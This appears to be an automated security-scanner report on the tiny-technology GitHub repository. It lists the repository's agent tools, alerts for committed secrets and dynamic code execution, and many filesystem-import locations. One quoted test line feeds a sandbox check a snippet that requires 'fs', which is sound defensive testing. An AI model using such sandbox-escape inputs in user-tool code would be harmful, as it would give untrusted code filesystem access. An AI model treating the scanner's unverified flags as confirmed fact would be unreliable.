github TypeScript analyzed 6c93dc1

cagataycali/tiny-technology

github

Create an AI by chatting - it gets a URL, a memory you can see, a body across your devices, a voice, and a wallet.

maintainer
cagataycali
license
Apache-2.0
first seen
2026-07-28
last seen
2026-08-04
releases · 30d
0
short id

Drift inferred · capture-to-capture

  1. HIGH code analysis flagged committed secret ×2, dynamic code execution ×7 in cagataycali/tiny-technology
  2. HIGH code analysis flagged committed secret ×2, dynamic code execution ×6 in cagataycali/tiny-technology
  3. HIGH code analysis flagged committed secret ×2, dynamic code execution ×5 in cagataycali/tiny-technology
capabilities 31 tools
transport stdio · http counts 31 tools · 0 res · 0 prompts permission surface via code analysis

tools

  • tiny_archives
  • tiny_chat
  • tiny_create
  • tiny_create_tool
  • tiny_delete
  • tiny_delete_message
  • tiny_devices
  • tiny_events
  • tiny_follow
  • tiny_get
  • tiny_graph
  • tiny_learn
  • tiny_login
  • tiny_marketplace
  • tiny_memories
  • tiny_messages
  • tiny_model_config
  • tiny_pay_confirm
  • tiny_pay_quote
  • tiny_recall
  • tiny_reload_tools
  • tiny_remove_tool
  • tiny_resolve_conflict
  • tiny_schedule
  • tiny_search
  • tiny_send_message
  • tiny_share
  • tiny_unlearn
  • tiny_update
  • tiny_wallet
  • tiny_whoami
skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit 6c93dc1 · analyzer v33 · 5d ago

skills & prompt files 1

danger signals32

code evidence vHEAD · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 1039

filesystem 212

  • fs cagataycali-tiny-technology-6c93dc1/chain/facilitator/server.mjs :21 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/attendance-e2e.mjs :33 import { readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/contract-mode-e2e.mjs :27 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-attendance.mjs :26 import { readFileSync, writeFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-issuance.mjs :21 import { readFileSync, writeFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-serve-rewards.mjs :17 import { readFileSync, writeFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-slashing.mjs :20 import { readFileSync, writeFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-validators-slashable.mjs :26 import { readFileSync, writeFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/deploy-validators.mjs :27 import { readFileSync, writeFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/devnet-e2e.mjs :22 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/issuance-e2e.mjs :25 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/joiner-e2e.mjs :34 import { readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/lib/read-migration-state.mjs :20 import { readFileSync, existsSync, readdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/plan-registry-swap.mjs :38 import { readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/restore-liveness-margin.mjs :40 import { readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/serve-rewards-e2e.mjs :31 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/slashable-registry-e2e.mjs :54 import { readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/slashing-e2e.mjs :28 import { readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/swap-preflight.mjs :45 import { readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/x402-8470-e2e.mjs :42 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup-e2e.mjs :12 import { mkdirSync, rmSync, writeFileSync, readdirSync, readFileSync, copyFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup.mjs :21 import { mkdirSync, writeFileSync, readdirSync, readFileSync, statSync, unlinkSync, renameSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/deploy.mjs :5 import { readFileSync, writeFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/smoke.mjs :11 import { readFileSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/browse.ts :44 import { existsSync, mkdirSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/computer.ts :25 import * as fs from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/desktop.ts :43 import * as fs from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/flipper.ts :19 import * as fs from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :25 import * as fs from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/history.ts :11 import * as fs from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/integrations-tool.ts :22 import { existsSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/local-tools.ts :75 import { readdirSync, statSync, mkdirSync, existsSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/see.ts :33 import * as fs from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/speech.ts :55 import * as fs from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/spotify.ts :22 import * as fs from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/tasks.ts :57 import { readdirSync, readFileSync, writeFileSync, renameSync, unlinkSync, mkdirSync, existsSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/vision.ts :40 import * as fs from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/windows.ts :40 import * as fs from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/auth.ts :17 import { mkdirSync, readFileSync, writeFileSync, unlinkSync, existsSync, chmodSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/cli.ts :14 import { existsSync, statSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/daemon.ts :17 import { mkdirSync, writeFileSync, readFileSync, existsSync, unlinkSync, chmodSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/device.ts :12 import { mkdirSync, readFileSync, writeFileSync, unlinkSync, existsSync, chmodSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/files.ts :13 import { readFileSync, statSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/integrations.ts :21 import { mkdirSync, readFileSync, writeFileSync, existsSync, chmodSync, unlinkSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :9 import { readFileSync } from 'node:fs'
  • fs cagataycali-tiny-technology-6c93dc1/tiny-tech/src/tray.ts :23 import { existsSync, unlinkSync, statSync, chmodSync, mkdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/auth.test.mjs :7 import { mkdtempSync, writeFileSync, statSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/browse.test.mjs :25 import { mkdtempSync, rmSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/desktop.test.mjs :12 import { mkdtempSync, rmSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/device.test.mjs :6 import { mkdtempSync, rmSync, readFileSync, statSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/event-kinds.test.mjs :32 import { readFileSync, readdirSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/files.test.mjs :7 import { writeFileSync, mkdtempSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/hardware.test.mjs :12 import { mkdtempSync, writeFileSync, rmSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/integrations-store.test.mjs :13 import { mkdtempSync, rmSync, existsSync, writeFileSync, statSync, readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/live.e2e.mjs :14 import { writeFileSync, mkdtempSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/local-tools.test.mjs :25 import { mkdtempSync, rmSync, writeFileSync, mkdirSync, utimesSync, unlinkSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/relay-poller.test.mjs :13 import { mkdtempSync, rmSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/server.test.mjs :10 import { mkdtempSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/speech.test.mjs :21 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tasks.test.mjs :22 import { mkdtempSync, rmSync, mkdirSync, writeFileSync, readdirSync, readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tray.test.mjs :25 import { mkdtempSync, rmSync, statSync, writeFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/vision.test.mjs :28 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/design-shot.mjs :24 import { globSync } from "node:fs";
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-logo.mjs :25 import { writeFileSync, mkdtempSync, rmSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-multi-device.mjs :38 import { mkdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-onboarding-voice.mjs :20 import { mkdir, writeFile } from 'node:fs/promises'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-social-carousels.mjs :23 import { mkdirSync, existsSync, readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-store-composites.mjs :31 import { writeFileSync, mkdirSync, mkdtempSync, rmSync, readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-store-graphics.mjs :31 import { writeFileSync, mkdirSync, mkdtempSync, rmSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/sync-store-screenshots.mjs :34 import { readFileSync, writeFileSync, existsSync, mkdirSync, readdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/_worker.ts :9 import { existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/about-theme.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/account-voice-write.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-job-cadence.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-live-take-words.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-ota-integrity.test.ts :42 import { existsSync, readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-speech-punctuation.test.ts :3 import { readFileSync, readdirSync, statSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-transcripts-readback.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/android-voice-status-age.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/attendance-policy.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/auth-events.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/call-recordings-load.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-backup.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-calldata.test.ts :3 import { readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-identity.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-join-doc.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-join.test.ts :3 import { readFileSync, writeFileSync, mkdtempSync, mkdirSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-joiner-script.test.ts :4 import { readFileSync, existsSync, mkdtempSync, mkdirSync, writeFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-status.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chat-lazy-panels.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ci-typecheck-gate.test.ts :38 import { existsSync, readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/clipboard-write.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/community-one-read.test.ts :3 import { readFileSync, readdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/composer.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/config-subject.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/danger-token.test.ts :3 import { readFileSync, readdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/deadlines.test.ts :3 import { readFileSync, readdirSync, statSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/deposit-integrity.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dev-keys.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/devices-camera-panel.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dm-drafts.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dm-length-parity.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/dm-send.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/e2e-registry-target.test.ts :2 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/endpoint-device.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/faucet-mint-not-a-deposit.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/faucet-no-answer.test.ts :39 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/faucet.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/flipper-ble.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/flipper-tools.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/funding-executor.test.ts :2 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/genesis-transition-plan.test.ts :2 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/globals-hygiene.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/graph-query.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/hero-logo-cls.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/initial-seat-policy.test.ts :2 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-capability-ribbon.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-capability-words.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-device-row-line.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-devices-footer.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-dynamic-type.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-failure-glyph.test.ts :3 import { readFileSync, readdirSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-job-cadence.test.ts :22 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-live-audio-playback.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-live-transcribe.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-local-hardware.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-messages-load-reason.test.ts :3 import { readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-peek-provenance.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-reading-age.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-recorder-second-pass.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-recorder-stop.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-relay-reach.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-remote-screenshot-consent.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-sf-symbols.test.ts :3 import { readFileSync, readdirSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-speech-punctuation.test.ts :3 import { readFileSync, readdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-spoken-device-row.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-voice-stale-status.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-wake-take-extends.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/job-cadence.test.ts :17 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/learnings-delete-scope.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/limit-message.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/live-badge-parity.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/live-fleet-lookup.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/load-failure-caption.test.ts :3 import { existsSync, readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/local-keys.test.ts :3 import { readFileSync, readdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/locale-dates.test.ts :3 import { readFileSync, readdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/memory-forget-verdict.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/memory-graph.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/memory-harness-swipe-parity.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/memory-list.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/memory-wipe.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/money-events.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/nicla-tools.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/nicla-voice-tools.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/no-native-confirm.test.ts :3 import { readFileSync, readdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/onboarding-voice.test.ts :15 import { readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/open-url.test.ts :122 const { readFileSync } = require('node:fs') as typeof import('node:fs')
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/page-code-trust.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/palette-manifest.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/prompt.test.ts :5 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/published-hostname-scrub.test.ts :3 import { readdirSync, readFileSync, lstatSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/qr-svg.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/quote-expiry.test.ts :16 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/readme-claims.test.ts :2 import { readdirSync, readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/readme-links.test.ts :2 import { existsSync, readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/registry-swap-policy.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-batch-deposit.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-missed.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-notify.test.ts :4 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-poll-verdict.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-push.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-task-result.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relayer-gas.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/remote-listen-outcome.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/reputation.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/revoke-message.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/rpc-proxy.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/settle-policy.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/skip-link.test.tsx :12 import { readFileSync, readdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/spawn-tree-states.test.ts :26 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/stake-migration-plan.test.ts :2 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/standing.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/tap-targets.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/tiny-delete-cascade.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/tiny-read-degrade.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/toast-copy.test.ts :3 import { readFileSync, readdirSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/trial-spend-exclusion.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/trial-taint-propagation.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ui-code.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/universe-counts.test.ts :18 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/unlearn-scope.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/use-auth-value.test.tsx :19 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/use-device-endpoint.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/user-tools.test.ts :34 ['(a) => require("fs")', 'require'],
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/validator-set-health.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/voice-session-identity.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/wearables-android.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/wearables-ios.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/wearables-web.test.ts :3 import { readFileSync, existsSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/withdraw-settle-network.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/withdrawal-stuck.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/worker-tiny-network.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-credit-counterparty.test.ts :3 import { readFileSync } from 'node:fs'
  • fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-reconcile-alarm.test.ts :3 import { readFileSync } from 'node:fs'
